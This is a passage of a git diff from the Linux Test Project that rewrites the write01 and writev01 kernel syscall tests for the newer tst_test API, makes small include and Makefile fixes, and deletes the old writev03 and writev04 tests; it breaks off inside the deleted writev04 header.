+				return -1;
+			}
+
+			tst_res(TINFO, "Sending SIGCONT to %d", pid);
+
+			if (kill(pid, SIGCONT) < 0) {
+				tst_res(TFAIL | TERRNO,
+					"kill(%d, SIGCONT) failed", pid);
+				return -1;
+			}
+
+			continue;
+		}
+
+		for (i = 0; i < len; i++) {
+			if (pid == children[i]) {
+				children[i] = 0;
+				break;
+			}
+		}
+
+		if (i == len) {
+			tst_res(TFAIL, "Pid %d not found", pid);
+			return -1;
+		}
+
+		if (!WIFEXITED(status)) {
+			tst_res(TFAIL, "Pid %d exited abnormally", pid);
+			return -1;
+		}
+
+		if (WEXITSTATUS(status) != 3) {
+			tst_res(TFAIL, "Pid %d exited with %d, expected 3",
+				pid, WEXITSTATUS(status));
+			return -1;
+		}
+	}
+
+	for (i = 0; i < len; i++) {
+		if (children[i]) {
+			tst_res(TFAIL, "Pid %d not reaped", children[i]);
+			return -1;
+		}
+	}
+
+	return 0;
+}
+
+#endif /* WAITPID_COMMON_H__ */
diff --git a/testcases/kernel/syscalls/write/write01.c b/testcases/kernel/syscalls/write/write01.c
index c183e99..b53f907 100644
--- a/testcases/kernel/syscalls/write/write01.c
+++ b/testcases/kernel/syscalls/write/write01.c
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) 2017 Fujitsu Ltd.
  *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
@@ -28,153 +29,38 @@
  * For further information regarding this notice, see:
  *
  * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
  */
-/* $Id: write01.c,v 1.6 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: write01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for write(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) write(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the write(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	write(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *    UPDATE HISTORY
- *      user     date  description
- *      ------------------------------------------------------
- *      wermager 3/00  Switched sequence of calls to TEST_PAUSE
- *                     and tst_tmpdir() in setup().$
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
-#include <sys/types.h>
-#include <sys/fcntl.h>
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+static int fd;
 
-char *TCID = "write01";
-int TST_TOTAL = 1;
-
-char fname[255];
-int fd;
-char buf = 'w';
-
-int main(int ac, char **av)
+static void verify_write(void)
 {
-	int lc;
+	TEST(write(fd, "w", 1));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(write(fd, &buf, 1));
-
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "write failed");
-		else
-			tst_resm(TPASS, "write returned %ld", TEST_RETURN);
-
-	}
-
-	cleanup();
-	tst_exit();
+	if (TEST_RETURN == -1)
+		tst_res(TFAIL | TTERRNO, "write(2) failed");
+	else
+		tst_res(TPASS, "write(2) returned %ld", TEST_RETURN);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "open failed");
+	fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0700);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	if (close(fd) == -1)
-		tst_resm(TWARN | TERRNO, "close failed");
-
-	tst_rmdir();
-
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static struct tst_test test = {
+	.tid = "write01",
+	.test_all = verify_write,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/write/write05.c b/testcases/kernel/syscalls/write/write05.c
index 2969773..bcbe858 100644
--- a/testcases/kernel/syscalls/write/write05.c
+++ b/testcases/kernel/syscalls/write/write05.c
@@ -57,7 +57,7 @@
 #include <fcntl.h>
 #include <errno.h>
 #include <stdio.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/mman.h>
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/writev/Makefile b/testcases/kernel/syscalls/writev/Makefile
index 4aa38be..85965e4 100644
--- a/testcases/kernel/syscalls/writev/Makefile
+++ b/testcases/kernel/syscalls/writev/Makefile
@@ -19,7 +19,7 @@
 top_srcdir		?= ../../../..
 
 ifeq ($(UCLINUX),1)
-FILTER_OUT_MAKE_TARGETS	+= writev02 writev03
+FILTER_OUT_MAKE_TARGETS	+= writev02
 endif
 
 include $(top_srcdir)/include/mk/testcases.mk
diff --git a/testcases/kernel/syscalls/writev/writev01.c b/testcases/kernel/syscalls/writev/writev01.c
index bfa5bba..b02abba 100644
--- a/testcases/kernel/syscalls/writev/writev01.c
+++ b/testcases/kernel/syscalls/writev/writev01.c
@@ -1,6 +1,6 @@
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
+ *                 Linux Test Project, 2016
  *
  *   This program is free software;  you can redistribute it and/or modify
  *   it under the terms of the GNU General Public License as published by
@@ -13,386 +13,141 @@
  *   the GNU General Public License for more details.
  *
  *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   along with this program;
  */
 
 /*
- * NAME
- *	writev01.c
- *
  * DESCRIPTION
  *	Testcase to check the basic functionality of writev(2) system call.
- *
- * ALGORITHM
- *	Create a IO vector, and attempt to writev various components of it.
- *
- * USAGE:  <for command-line>
- *	writev01 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,	-c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *      04/2002 wjhuie sigset cleanups
- *     06/2002 Shaobo Li
- *             fix testcase 7, add each testcase comment.
- *
- * Restrictions
- *	None
+ *	Create IO vectors and attempt to writev various components of it.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
+#include <errno.h>
 #include <signal.h>
 #include <sys/uio.h>
-#include <sys/fcntl.h>
-#include <memory.h>
-#include <errno.h>
-#include "test.h"
-#include <sys/mman.h>
+#include "tst_test.h"
 
-#define	K_1	1024
-#define	M_1	K_1 * K_1
-#define	G_1	M_1 * K_1
+#define	CHUNK		64
+#define	TESTFILE	"writev_data_file"
 
-#define	NBUFS		4
-#define	CHUNK		64	/* single chunk */
-#define	MAX_IOVEC	16
-#define	DATA_FILE	"writev_data_file"
+static int valid_fd;
+static int invalid_fd = -1;
+static int pipe_fd[2];
 
-char buf1[K_1], buf2[K_1], buf3[K_1];
+static char buf[CHUNK * 4];
 
-struct iovec wr_iovec[MAX_IOVEC] = {
-	/* iov_base *//* iov_len */
-
-	/* testcase# 1 */
-	{buf1, -1},
-	{(buf1 + CHUNK), CHUNK},
-	{(buf1 + CHUNK * 2), CHUNK},
-
-	/* testcase# 2 */
-	{(buf1 + CHUNK * 3), G_1},
-	{(buf1 + CHUNK * 4), G_1},
-	{(buf1 + CHUNK * 5), G_1},
-
-	/* testcase# 3 */
-	{(buf1 + CHUNK * 6), CHUNK},
-	{(caddr_t) - 1, CHUNK},
-	{(buf1 + CHUNK * 8), CHUNK},
-
-	/* testcase# 4 */
-	{(buf1 + CHUNK * 9), CHUNK},
-
-	/* testcase# 5 */
-	{(buf1 + CHUNK * 10), CHUNK},
-
-	/* testcase# 6 */
-	{(buf1 + CHUNK * 11), CHUNK},
-
-	/* testcase# 7 */
-	{(buf1 + CHUNK * 12), CHUNK},
-
-	/* testcase# 8 */
-	{(buf1 + CHUNK * 13), 0},
-
-	/* testcase# 7 */
-	{NULL, 0},
-	{NULL, 0}
+struct iovec iovec_badlen[] = {
+	{ buf, -1 },
+	{ buf + CHUNK, CHUNK },
+	{ buf + CHUNK * 2, CHUNK },
 };
 
-char name[K_1], f_name[K_1];
+struct iovec iovec_simple[] = {
+	{ buf, CHUNK },
+};
 
-char *bad_addr = 0;
+struct iovec iovec_zero_null[] = {
+	{ buf, CHUNK },
+	{ buf + CHUNK, 0 },
+	{ NULL, 0 },
+	{ NULL, 0 }
+};
 
-int fd[4], in_sighandler;
-int pfd[2];			/* pipe fd's */
-char *buf_list[NBUFS];
-
-void sighandler(int);
-int fill_mem(char *, int, int);
-void init_buffs(char *[]);
-void setup(void);
-void cleanup(void);
-
-char *TCID = "writev01";
-int TST_TOTAL = 1;
-
-int main(int argc, char **argv)
-{
-	int nbytes, ret;
-
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		buf_list[0] = buf1;
-		buf_list[1] = buf2;
-		buf_list[2] = buf3;
-		buf_list[3] = NULL;
-
-		fd[1] = -1;	/* Invalid file descriptor  */
-
-		if (signal(SIGTERM, sighandler) == SIG_ERR)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "signal(SIGTERM, ..) failed");
-
-		if (signal(SIGPIPE, sighandler) == SIG_ERR)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "signal(SIGPIPE, ..) failed");
-
-		init_buffs(buf_list);
-
-		if ((fd[0] = open(f_name, O_WRONLY | O_CREAT, 0666)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "open(.., O_WRONLY|O_CREAT, ..) failed");
-		else if ((nbytes = write(fd[0], buf_list[2], K_1)) != K_1)
-			tst_brkm(TBROK | TERRNO, cleanup, "write failed");
-
-		if (close(fd[0]) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "close failed");
-
-		if ((fd[0] = open(f_name, O_RDWR, 0666)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "open failed");
-//block1: /* given vector length -1, writev return EINVAL. */
-		tst_resm(TPASS, "Enter Block 1");
-
-		TEST(writev(fd[0], wr_iovec, 1));
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EINVAL)
-				tst_resm(TPASS, "Received EINVAL as expected");
-			else
-				tst_resm(TFAIL, "Expected errno = EINVAL, "
-					 "got %d", TEST_ERRNO);
-		} else
-			tst_resm(TFAIL, "writev failed to fail");
-		tst_resm(TINFO, "Exit block 1");
-
-//block2:
-		/* This testcases doesn't look like what it intent to do
-		 * 1. it is not using the wr_iovec initialized
-		 * 2. read() and following message is not consistent
-		 */
-		tst_resm(TPASS, "Enter block 2");
-
-		if (lseek(fd[0], CHUNK * 6, 0) == -1)
-			tst_resm(TBROK | TERRNO, "block2: 1st lseek failed");
-
-		if ((ret = writev(fd[0], (wr_iovec + 6), 3)) == CHUNK) {
-			if (lseek(fd[0], CHUNK * 6, 0) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "block2: 2nd lseek failed");
-			if ((nbytes = read(fd[0], buf_list[0], CHUNK)) != CHUNK)
-				tst_resm(TFAIL, "read failed; expected nbytes "
-					 "= 1024, got = %d", nbytes);
-			else if (memcmp((buf_list[0] + CHUNK * 6),
-					(buf_list[2] + CHUNK * 6), CHUNK) != 0)
-				tst_resm(TFAIL, "writev over "
-					 "wrote %s", f_name);
-		} else
-			tst_resm(TFAIL | TERRNO, "writev failed unexpectedly");
-		tst_resm(TINFO, "Exit block 2");
-
-//block3: /* given 1 bad vector buffer with good ones, writev success */
-		tst_resm(TPASS, "Enter block 3");
-
-		if (lseek(fd[0], CHUNK * 6, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "block3: 1st lseek failed");
-		if ((nbytes = writev(fd[0], (wr_iovec + 6), 3)) == -1) {
-			if (errno == EFAULT)
-				tst_resm(TFAIL, "Got EFAULT");
-		}
-		if (lseek(fd[0], 0, 0) == -1)
-			tst_brkm(TBROK, cleanup, "block3: 2nd lseek failed");
-		if ((nbytes = read(fd[0], buf_list[0], K_1)) != K_1) {
-			tst_resm(TFAIL | TERRNO,
-				 "read failed; expected nbytes = 1024, got = %d",
-				 nbytes);
-		} else if (memcmp((buf_list[0] + CHUNK * 6),
-				  (buf_list[2] + CHUNK * 6), CHUNK * 3) != 0)
-			tst_resm(TFAIL, "writev overwrote file");
-
-		tst_resm(TINFO, "Exit block 3");
-
-//block4: /* given bad file discriptor, writev return EBADF. */
-		tst_resm(TPASS, "Enter block 4");
-
-		TEST(writev(fd[1], (wr_iovec + 9), 1));
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EBADF)
-				tst_resm(TPASS, "Received EBADF as expected");
-			else
-				tst_resm(TFAIL, "expected errno = EBADF, "
-					 "got %d", TEST_ERRNO);
-		} else
-			tst_resm(TFAIL, "writev returned a " "positive value");
-
-		tst_resm(TINFO, "Exit block 4");
-
-//block5: /* given invalid vector count, writev return EINVAL */
-		tst_resm(TPASS, "Enter block 5");
-
-		TEST(writev(fd[0], (wr_iovec + 10), -1));
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO == EINVAL)
-				tst_resm(TPASS, "Received EINVAL as expected");
-			else
-				tst_resm(TFAIL, "expected errno = EINVAL, "
-					 "got %d", TEST_ERRNO);
-		} else
-			tst_resm(TFAIL, "writev returned a " "positive value");
-
-		tst_resm(TINFO, "Exit block 5");
-
-//block6: /* given no buffer vector, writev success */
-		tst_resm(TPASS, "Enter block 6");
-
-		TEST(writev(fd[0], (wr_iovec + 11), 0));
-		if (TEST_RETURN == -1)
-			tst_resm(TFAIL | TTERRNO, "writev failed");
-		else
-			tst_resm(TPASS, "writev wrote 0 iovectors");
-
-		tst_resm(TINFO, "Exit block 6");
-
-//block7:
-		/* given 4 vectors, 2 are NULL, 1 with 0 length and 1 with fixed length,
-		 * writev success writing fixed length.
-		 */
-		tst_resm(TPASS, "Enter block 7");
-
-		if (lseek(fd[0], CHUNK * 12, 0) == -1)
-			tst_resm(TBROK, "lseek failed");
-		else if ((ret = writev(fd[0], (wr_iovec + 12), 4)) != CHUNK)
-			tst_resm(TFAIL, "writev failed writing %d bytes, "
-				 "followed by two NULL vectors", CHUNK);
-		else
-			tst_resm(TPASS, "writev passed writing %d bytes, "
-				 "followed by two NULL vectors", CHUNK);
-
-		tst_resm(TINFO, "Exit block 7");
-
-//block8: /* try to write to a closed pipe, writev return EPIPE. */
-		tst_resm(TPASS, "Enter block 8");
-
-		if (pipe(pfd) == -1)
-			tst_resm(TFAIL | TERRNO, "pipe failed");
-		else {
-			if (close(pfd[0]) == -1)
-				tst_resm(TFAIL | TERRNO, "close failed");
-			else if (writev(pfd[1], (wr_iovec + 12), 1) == -1 &&
-				 in_sighandler) {
-				if (errno == EPIPE)
-					tst_resm(TPASS, "Received EPIPE as "
-						 "expected");
-				else
-					tst_resm(TFAIL | TERRNO,
-						 "didn't get EPIPE");
-			} else
-				tst_resm(TFAIL, "writev returned a positive "
-					 "value");
-		}
-		tst_resm(TINFO, "Exit block 8");
-	}
-	cleanup();
-	tst_exit();
-}
+struct testcase_t {
+	const char *desc;
+	int *pfd;
+	struct iovec (*piovec)[];
+	int iovcnt;
+	int exp_ret;
+	int exp_errno;
+} testcases[] = {
+	{
+		.desc = "invalid iov_len",
+		.pfd = &valid_fd,
+		.piovec = &iovec_badlen,
+		.iovcnt = ARRAY_SIZE(iovec_badlen),
+		.exp_ret = -1,
+		.exp_errno = EINVAL
+	},
+	{
+		.desc = "invalid fd",
+		.pfd = &invalid_fd,
+		.piovec = &iovec_simple,
+		.iovcnt = ARRAY_SIZE(iovec_simple),
+		.exp_ret = -1,
+		.exp_errno = EBADF
+	},
+	{
+		.desc = "invalid iovcnt",
+		.pfd = &valid_fd,
+		.piovec = &iovec_simple,
+		.iovcnt = -1,
+		.exp_ret = -1,
+		.exp_errno = EINVAL
+	},
+	{
+		.desc = "zero iovcnt",
+		.pfd = &valid_fd,
+		.piovec = &iovec_simple,
+		.iovcnt = 0,
+		.exp_ret = 0,
+	},
+	{
+		.desc = "NULL and zero length iovec",
+		.pfd = &valid_fd,
+		.piovec = &iovec_zero_null,
+		.iovcnt = ARRAY_SIZE(iovec_zero_null),
+		.exp_ret = CHUNK,
+	},
+	{
+		.desc = "write to closed pipe",
+		.pfd = &(pipe_fd[1]),
+		.piovec = &iovec_simple,
+		.iovcnt = ARRAY_SIZE(iovec_simple),
+		.exp_ret = -1,
+		.exp_errno = EPIPE,
+	},
+};
 
 void setup(void)
 {
+	sigset_t block_mask;
 
-	tst_sig(FORK, sighandler, cleanup);
+	sigemptyset(&block_mask);
+	sigaddset(&block_mask, SIGPIPE);
+	sigprocmask(SIG_BLOCK, &block_mask, NULL);
 
-	TEST_PAUSE;
+	valid_fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, 0644);
 
-	tst_tmpdir();
-
-	strcpy(name, DATA_FILE);
-	sprintf(f_name, "%s.%d", name, getpid());
-
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "mmap failed");
-	wr_iovec[7].iov_base = bad_addr;
-
+	SAFE_PIPE(pipe_fd);
+	SAFE_CLOSE(pipe_fd[0]);
 }
 
-void cleanup(void)
+static void test_writev(unsigned int i)
 {
-	if (munmap(bad_addr, 1) == -1)
-		tst_resm(TBROK | TERRNO, "munmap failed");
+	struct testcase_t *tcase = &testcases[i];
+	int ret;
 
-	close(fd[0]);
-	close(fd[1]);
+	TEST(writev(*(tcase->pfd), *(tcase->piovec), tcase->iovcnt));
 
-	if (unlink(f_name) == -1)
-		tst_resm(TBROK | TERRNO, "unlink failed");
-
-	tst_rmdir();
-
-}
-
-void init_buffs(char *pbufs[])
-{
-	int i;
-
-	for (i = 0; pbufs[i] != NULL; i++) {
-		switch (i) {
-		case 0:
-
-		case 1:
-			fill_mem(pbufs[i], 0, 1);
-			break;
-
-		case 2:
-			fill_mem(pbufs[i], 1, 0);
-			break;
-
-		default:
-			tst_brkm(TBROK, cleanup, "error detected: init_buffs");
-		}
+	ret = (TEST_RETURN == tcase->exp_ret);
+	if (TEST_RETURN < 0 || tcase->exp_ret < 0) {
+		ret &= (TEST_ERRNO == tcase->exp_errno);
+		tst_res((ret ? TPASS : TFAIL),
+			"%s, expected: %d (%s), got: %ld (%s)", tcase->desc,
+			tcase->exp_ret, tst_strerrno(tcase->exp_errno),
+			TEST_RETURN, tst_strerrno(TEST_ERRNO));
+	} else {
+		tst_res((ret ? TPASS : TFAIL),
+			"%s, expected: %d, got: %ld", tcase->desc,
+			tcase->exp_ret, TEST_RETURN);
 	}
 }
 
-int fill_mem(char *c_ptr, int c1, int c2)
-{
-	int count;
-
-	for (count = 1; count <= K_1 / CHUNK; count++) {
-		if (count & 0x01) {	/* if odd */
-			memset(c_ptr, c1, CHUNK);
-		} else {	/* if even */
-			memset(c_ptr, c2, CHUNK);
-		}
-	}
-	return 0;
-}
-
-void sighandler(int sig)
-{
-	switch (sig) {
-	case SIGTERM:
-		break;
-
-	case SIGPIPE:
-		in_sighandler++;
-		return;
-
-	default:
-		tst_resm(TFAIL, "sighandler received invalid signal:%d", sig);
-		break;
-	}
-}
+static struct tst_test test = {
+	.tid = "writev01",
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.test = test_writev,
+	.tcnt = ARRAY_SIZE(testcases),
+};
diff --git a/testcases/kernel/syscalls/writev/writev03.c b/testcases/kernel/syscalls/writev/writev03.c
deleted file mode 100644
index e5cdf4b..0000000
--- a/testcases/kernel/syscalls/writev/writev03.c
+++ /dev/null
@@ -1,271 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	writev03.c
- *
- * DESCRIPTION
- *	The testcases are written calling writev() with partially valid data
- *	to overwrite the contents, to write in the beginning and to write in
- *	the end of the file.
- *
- * USAGE:  <for command-line>
- *      writev03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -e   : Turn on errno logging.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *      04/2002 wjhuie sigset cleanups
- *
- * Restrictions
- *	NONE
- */
-
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <signal.h>
-#include <fcntl.h>
-#include <memory.h>
-#include <errno.h>
-#include "test.h"
-
-#define	K_1	1024
-
-#define	NBUFS		4
-#define	CHUNK		64	/* single chunk */
-#define	MAX_IOVEC	4
-#define	DATA_FILE	"writev_data_file"
-
-char buf1[K_1], buf2[K_1], buf3[K_1];
-char *bad_addr = 0;
-
-struct iovec wr_iovec[MAX_IOVEC] = {
-	/* testcase #1 */
-	{buf1 + (CHUNK * 6), CHUNK},
-	{(caddr_t) - 1, CHUNK},
-	{buf1 + (CHUNK * 8), CHUNK},
-	{NULL, 0}
-};
-
-char name[K_1], f_name[K_1];
-int fd[2], in_sighandler;
-char *buf_list[NBUFS];
-
-char *TCID = "writev03";
-int TST_TOTAL = 1;
-
-void sighandler(int);
-void l_seek(int, off_t, int);
-void setup(void);
-void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	int nbytes;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		buf_list[0] = buf1;
-		buf_list[1] = buf2;
-		buf_list[2] = buf3;
-		buf_list[3] = NULL;
-
-		fd[1] = -1;	/* Invalid file descriptor */
-
-		if (signal(SIGTERM, sighandler) == SIG_ERR)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "signal(SIGTERM, ..) failed");
-
-		if (signal(SIGPIPE, sighandler) == SIG_ERR)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "signal(SIGPIPE, ..) failed");
-
-		memset(buf_list[0], 0, K_1);
-		memset(buf_list[1], 0, K_1);
-
-		if ((fd[0] = open(f_name, O_WRONLY | O_CREAT, 0666)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "open(.., O_WRONLY|O_CREAT, ..) failed");
-		else if ((nbytes = write(fd[0], buf_list[1], K_1)) != K_1)
-			tst_brkm(TFAIL | TERRNO, cleanup, "write failed");
-
-		if (close(fd[0]) < 0)
-			tst_brkm(TBROK | TERRNO, cleanup, "close failed");
-
-		if ((fd[0] = open(f_name, O_RDWR, 0666)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "open(.., O_RDWR, ..) failed");
-//block1:
-		tst_resm(TINFO, "Enter block 1");
-
-		/*
-		 * In this block we are trying to call writev() with
-		 * partially valid data. This should return the valid number
-		 * of bytes written in the vector. If it returns EFAULT, it
-		 * is an error. And after returning the number of valid
-		 * bytes written, the check should be made to verify the
-		 * contents of the first valid write() scheduled.
-		 */
-
-		if (writev(fd[0], wr_iovec, 3) == -1) {
-			if (errno == EFAULT)
-				tst_resm(TFAIL, "Got EFAULT");
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0)
-				tst_resm(TFAIL, "writev overwrote the file");
-		}
-		tst_resm(TINFO, "Exit block 1");
-
-//block2:
-		tst_resm(TINFO, "Enter block 2");
-
-		/*
-		 * In this block we are trying to over write the contents by
-		 * calling writev() with partially valid data. It should
-		 * return the valid number of bytes written but not EFAULT.
-		 * Also the check should be made whether the initial write()
-		 * scheduled is done correctly or not.
-		 */
-		l_seek(fd[0], 0, 0);
-		if (writev(fd[0], wr_iovec, 3) == -1) {
-			if (errno == EFAULT)
-				tst_resm(TFAIL, "Got EFAULT");
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0)
-				tst_resm(TFAIL, "writev overwrote the file");
-		}
-		tst_resm(TINFO, "Exit block 2");
-
-//block3:
-		tst_resm(TINFO, "Enter block 3");
-
-		/*
-		 * In this block, we are trying to call writev() by going to
-		 * some end position of the file. Here writev() is called
-		 * with partially valid data, and this will return the
-		 * number of valid bytes written and not EFAULT. Also, the
-		 * check should be made whether the inital write() that is
-		 * scheduled with valid data is done correctly done or not.
-		 */
-
-		l_seek(fd[0], 8192, 0);
-		if (writev(fd[0], wr_iovec, 3) == -1) {
-			if (errno == EFAULT)
-				tst_resm(TFAIL, "Got EFAULT");
-		} else {
-			l_seek(fd[0], 0, 0);
-			read(fd[0], buf_list[0], CHUNK);
-			if (memcmp(buf_list[0], buf_list[1], CHUNK) != 0) {
-				tst_resm(TFAIL, "writev overwrote the file");
-			}
-		}
-
-		tst_resm(TINFO, "Exit block 3");
-	}
-	cleanup();
-	tst_exit();
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified.
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	strcpy(name, DATA_FILE);
-	sprintf(f_name, "%s.%d", name, getpid());
-
-	bad_addr = mmap(0, 1, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	wr_iovec[1].iov_base = bad_addr;
-	tst_tmpdir();
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-	close(fd[0]);
-	close(fd[1]);
-
-	if (unlink(f_name) == -1)
-		tst_resm(TFAIL, "unlink failed");
-	tst_rmdir();
-
-}
-
-void sighandler(int sig)
-{
-	switch (sig) {
-	case SIGTERM:
-		break;
-	case SIGPIPE:
-		++in_sighandler;
-		return;
-	default:
-		tst_resm(TBROK, "sighandler received invalid signal : %d", sig);
-		break;
-	}
-}
-
-/*
- * l_seek()
- *	Wrap around for regular lseek function for giving error message
- */
-void l_seek(int fdesc, off_t offset, int whence)
-{
-	if (lseek(fdesc, offset, whence) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "lseek failed");
-}
diff --git a/testcases/kernel/syscalls/writev/writev04.c b/testcases/kernel/syscalls/writev/writev04.c
deleted file mode 100644
index 954b1fa..0000000
--- a/testcases/kernel/syscalls/writev/writev04.c
+++ /dev/null
@@ -1,353 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
